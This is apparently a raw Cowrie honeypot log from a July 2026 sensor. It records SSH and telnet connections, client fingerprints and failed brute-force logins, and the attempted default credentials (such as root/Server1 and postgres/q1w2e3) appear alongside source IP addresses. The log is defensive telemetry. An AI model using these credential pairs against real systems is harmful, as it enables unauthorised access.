2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:41.215400Z","src_ip":"80.94.92.55","session":"5b2f333aeecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000000","message":"login attempt [admin/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:42.522078Z","src_ip":"80.94.92.55","session":"5b2f333aeecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:43.738826Z","src_ip":"80.94.92.55","session":"5b2f333aeecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":41866,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78dcdf13f86","protocol":"ssh","message":"New connection: 107.170.247.81:41866 (10.17.0.5:22) [session: b78dcdf13f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.297793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.303193Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.394107Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:84:8c:2d:4b:c7:4b:89:2f:ba:fb:37:b2:d4:eb:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnyITrrSsGZRbeRvJCfaHrPDpQ9jhPxjLcPKx8GNW/HmgS6XHv8D6kVoMZuzu2ldLmRSGijfTtbGeXBUG+CCvIY2vjQ6gHWJjZG+zsb/mKtamhQwyF/IhvjHpNm6TmVaTCfyZP7Xz6/6Buwd+Whkr4SsVETa9I8SCpUICUA7+udS8fMyvIfBlvmO0LsXkejDCNVrpHG+jZZ6jHrr6QAZXvk9kQWdM7b/hdQ0nV7NvJdVcHqcSVVRj7W/FRAmu3jPxV+IcGvgND6987q4iludCKDyXaXd/irSLcLZ7APd9eu9Qt0MF0zxp8cNjdqjtg+dbrchvl9sIbkBp2HHCxKVN/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:84:8c:2d:4b:c7:4b:89:2f:ba:fb:37:b2:d4:eb:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.734561Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:84:8c:2d:4b:c7:4b:89:2f:ba:fb:37:b2:d4:eb:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnyITrrSsGZRbeRvJCfaHrPDpQ9jhPxjLcPKx8GNW/HmgS6XHv8D6kVoMZuzu2ldLmRSGijfTtbGeXBUG+CCvIY2vjQ6gHWJjZG+zsb/mKtamhQwyF/IhvjHpNm6TmVaTCfyZP7Xz6/6Buwd+Whkr4SsVETa9I8SCpUICUA7+udS8fMyvIfBlvmO0LsXkejDCNVrpHG+jZZ6jHrr6QAZXvk9kQWdM7b/hdQ0nV7NvJdVcHqcSVVRj7W/FRAmu3jPxV+IcGvgND6987q4iludCKDyXaXd/irSLcLZ7APd9eu9Qt0MF0zxp8cNjdqjtg+dbrchvl9sIbkBp2HHCxKVN/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.738139Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:52:99:92:b1:e6:cc:9b:9b:f4:06:f7:42:81:8f:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwT/WtPZh3wLLJwuttbmTbB2uSHw3c3l+KInUI1FRt+1W1zLrsHldHLT/7aYUGuMXNrarFxpeHMPsdWE6iFhexHzSUWL/Px9Nb3yOUJKr3a51a0oUmyU//8AVllMVn3ZVPDgxtGMUmj3WrHk+N1U5175OTHJX9cvZbkVfJOoHIbv8KdoqjlOG9GH6162xTO1ZOw7eyjx95BB4tkuA2AXa3JWuVKODOJLd0m1EwQivl/MlTbwKyzo0KRmYhX1mrFpyU42hIINiu0Tw3R4gyxonzNOHQBVjd4nrdLiTS3/6l+8v8TgFXp+lKV7ZKkGYAUX+q2d46O7vcyd2fsCW90bMp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:52:99:92:b1:e6:cc:9b:9b:f4:06:f7:42:81:8f:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.811028Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:52:99:92:b1:e6:cc:9b:9b:f4:06:f7:42:81:8f:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwT/WtPZh3wLLJwuttbmTbB2uSHw3c3l+KInUI1FRt+1W1zLrsHldHLT/7aYUGuMXNrarFxpeHMPsdWE6iFhexHzSUWL/Px9Nb3yOUJKr3a51a0oUmyU//8AVllMVn3ZVPDgxtGMUmj3WrHk+N1U5175OTHJX9cvZbkVfJOoHIbv8KdoqjlOG9GH6162xTO1ZOw7eyjx95BB4tkuA2AXa3JWuVKODOJLd0m1EwQivl/MlTbwKyzo0KRmYhX1mrFpyU42hIINiu0Tw3R4gyxonzNOHQBVjd4nrdLiTS3/6l+8v8TgFXp+lKV7ZKkGYAUX+q2d46O7vcyd2fsCW90bMp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.815348Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:2c:df:d3:9b:65:61:57:8b:5f:bb:da:48:5e:4d:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Ank9YVRwcQ3r/RkE5GzTuYSiUQdqA3A/3jvDODniPB0T9GcmdLDDS1TGK7a4nzqffkCiA1cgzLdlhe8/K/KdvhyKNZSbGKx+oTe/Nl6HorhicS8KQZODm9nICMjI+KH/4rQWlyEOwdLjAcqdB7d84Jm9tlukT1Lc9u3sxntZzrwFAHN7CkB4P8hVczPIzsUnBsmbNX7XQkEsy3soh3mfI6ndvI9jzGEb8Gm5eudMRWzGK8diuzrBxyqgvpbRQDg67qFx8QJ8r3nSvMDirmLJXbui2Qfa+pz8ipRr3DEc306kMvKaMfXFt7xOh6eFpITakq5jcnC8rBQPlwpM1/uF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:2c:df:d3:9b:65:61:57:8b:5f:bb:da:48:5e:4d:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.887593Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:2c:df:d3:9b:65:61:57:8b:5f:bb:da:48:5e:4d:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Ank9YVRwcQ3r/RkE5GzTuYSiUQdqA3A/3jvDODniPB0T9GcmdLDDS1TGK7a4nzqffkCiA1cgzLdlhe8/K/KdvhyKNZSbGKx+oTe/Nl6HorhicS8KQZODm9nICMjI+KH/4rQWlyEOwdLjAcqdB7d84Jm9tlukT1Lc9u3sxntZzrwFAHN7CkB4P8hVczPIzsUnBsmbNX7XQkEsy3soh3mfI6ndvI9jzGEb8Gm5eudMRWzGK8diuzrBxyqgvpbRQDg67qFx8QJ8r3nSvMDirmLJXbui2Qfa+pz8ipRr3DEc306kMvKaMfXFt7xOh6eFpITakq5jcnC8rBQPlwpM1/uF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.890611Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:b7:09:4a:8d:e1:e3:a3:f3:98:c2:41:bc:7d:7b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdj77QUnuRCK7F7oIFlBkNTBUwPiZS5/uAaLDsdNO0E7ecqhG5gC5d/oOq/UxqPZT1kZpvZI2FPdhuwBPjuS8UG0RtvE8opV5LrjKbO21Ow1Hl7y2jJSHnfJ/i3tuWBo9J6/4SxlGkFbLDmGrxmzdGisQ1ep0LD3UfkiQ7y75xmA3YtFNnz+C2DOozeS3JRyElU0cT5fDxwooBC2F16RBaBupOZaD9zdXyvEmBPwM5jDxPsuEPiukRU4wIvOZCbAbrgYZdIKS+C4YTILQy6OcsWSdiTt9BGzkuWcCKNnqrCHA2CAy0a+1ugOZc5P7J234laKv2HqO97KxgPrSrOngD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:b7:09:4a:8d:e1:e3:a3:f3:98:c2:41:bc:7d:7b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.963995Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:b7:09:4a:8d:e1:e3:a3:f3:98:c2:41:bc:7d:7b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdj77QUnuRCK7F7oIFlBkNTBUwPiZS5/uAaLDsdNO0E7ecqhG5gC5d/oOq/UxqPZT1kZpvZI2FPdhuwBPjuS8UG0RtvE8opV5LrjKbO21Ow1Hl7y2jJSHnfJ/i3tuWBo9J6/4SxlGkFbLDmGrxmzdGisQ1ep0LD3UfkiQ7y75xmA3YtFNnz+C2DOozeS3JRyElU0cT5fDxwooBC2F16RBaBupOZaD9zdXyvEmBPwM5jDxPsuEPiukRU4wIvOZCbAbrgYZdIKS+C4YTILQy6OcsWSdiTt9BGzkuWcCKNnqrCHA2CAy0a+1ugOZc5P7J234laKv2HqO97KxgPrSrOngD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:51.968488Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:8c:69:f4:2e:f0:3e:42:a7:08:f4:83:7d:c0:18:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHy/kYPwRqR0qgFCQYoJIj+y90icJL8b9z8IaEJdZJidJnvfyHoDwTDaNhp2hwoJk39A5E8a99CTvOL8gOstDwYaDQz8/yfkQsYjMX3IhPP06obiiBLmLpllxab++xDkakzTaxYUZA9uoRxPZc/4wgBITBMpuYW4iKHgU2ZBmr8tUhD4Fp8EzKhLXumTMKyJnoTWpIp2qqtSpgZsZfafqm/usJW3mAKRhpv3vajPWf9PDaguuWrFdQUNywpPY+ZtRv14kEfa6LLt5KJKldXS3vOY70U4A7uGNTEzjxHMMfijzavZvcZkKGUHOkJ5su3khKKWZ5yqlqpCIZrn+Nsx3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:8c:69:f4:2e:f0:3e:42:a7:08:f4:83:7d:c0:18:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:52.041419Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:8c:69:f4:2e:f0:3e:42:a7:08:f4:83:7d:c0:18:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHy/kYPwRqR0qgFCQYoJIj+y90icJL8b9z8IaEJdZJidJnvfyHoDwTDaNhp2hwoJk39A5E8a99CTvOL8gOstDwYaDQz8/yfkQsYjMX3IhPP06obiiBLmLpllxab++xDkakzTaxYUZA9uoRxPZc/4wgBITBMpuYW4iKHgU2ZBmr8tUhD4Fp8EzKhLXumTMKyJnoTWpIp2qqtSpgZsZfafqm/usJW3mAKRhpv3vajPWf9PDaguuWrFdQUNywpPY+ZtRv14kEfa6LLt5KJKldXS3vOY70U4A7uGNTEzjxHMMfijzavZvcZkKGUHOkJ5su3khKKWZ5yqlqpCIZrn+Nsx3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:52.045175Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:52.117420Z","src_ip":"107.170.247.81","session":"b78dcdf13f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":51678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e6118841e1","protocol":"ssh","message":"New connection: 177.76.134.52:51678 (10.17.0.5:22) [session: d2e6118841e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:08.907160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:08.911896Z","src_ip":"177.76.134.52","session":"d2e6118841e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:09.066740Z","src_ip":"177.76.134.52","session":"d2e6118841e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:09.774245Z","src_ip":"177.76.134.52","session":"d2e6118841e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:10.917025Z","src_ip":"177.76.134.52","session":"d2e6118841e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63143,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8612da8c9cf","protocol":"ssh","message":"New connection: 109.91.4.177:63143 (10.17.0.5:22) [session: d8612da8c9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:17.403027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:17.407042Z","src_ip":"109.91.4.177","session":"d8612da8c9cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:17.514694Z","src_ip":"109.91.4.177","session":"d8612da8c9cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3","message":"login attempt [postgres/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:17.975715Z","src_ip":"109.91.4.177","session":"d8612da8c9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:19.080576Z","src_ip":"109.91.4.177","session":"d8612da8c9cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af1e7d593b9","protocol":"telnet","message":"New connection: 107.6.151.170:46680 (159.203.135.109:23) [session: 2af1e7d593b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:19.308288Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43416,"dst_ip":"159.203.135.109","dst_port":23,"session":"95197d5a094e","protocol":"telnet","message":"New connection: 107.6.151.170:43416 (159.203.135.109:23) [session: 95197d5a094e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:38.812001Z"}
{"eventid":"cowrie.session.closed","duration":0.0046269893646240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:38.816475Z","src_ip":"107.6.151.170","session":"95197d5a094e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":38930,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f10c1d0560f","protocol":"ssh","message":"New connection: 38.148.249.2:38930 (10.17.0.5:22) [session: 9f10c1d0560f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:42.106441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:42.110341Z","src_ip":"38.148.249.2","session":"9f10c1d0560f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:42.179061Z","src_ip":"38.148.249.2","session":"9f10c1d0560f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server1","message":"login attempt [root/Server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:42.493619Z","src_ip":"38.148.249.2","session":"9f10c1d0560f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:43.569552Z","src_ip":"38.148.249.2","session":"9f10c1d0560f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.93374729156494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:51.241886Z","src_ip":"107.6.151.170","session":"2af1e7d593b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d593e85b98","protocol":"telnet","message":"New connection: 170.64.224.25:37660 (159.203.135.109:23) [session: 07d593e85b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:58.041727Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":35960,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa19082b0fe","protocol":"ssh","message":"New connection: 199.192.25.149:35960 (10.17.0.5:22) [session: cfa19082b0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:58.241210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:58.243707Z","src_ip":"199.192.25.149","session":"cfa19082b0fe","protocol":"ssh"}
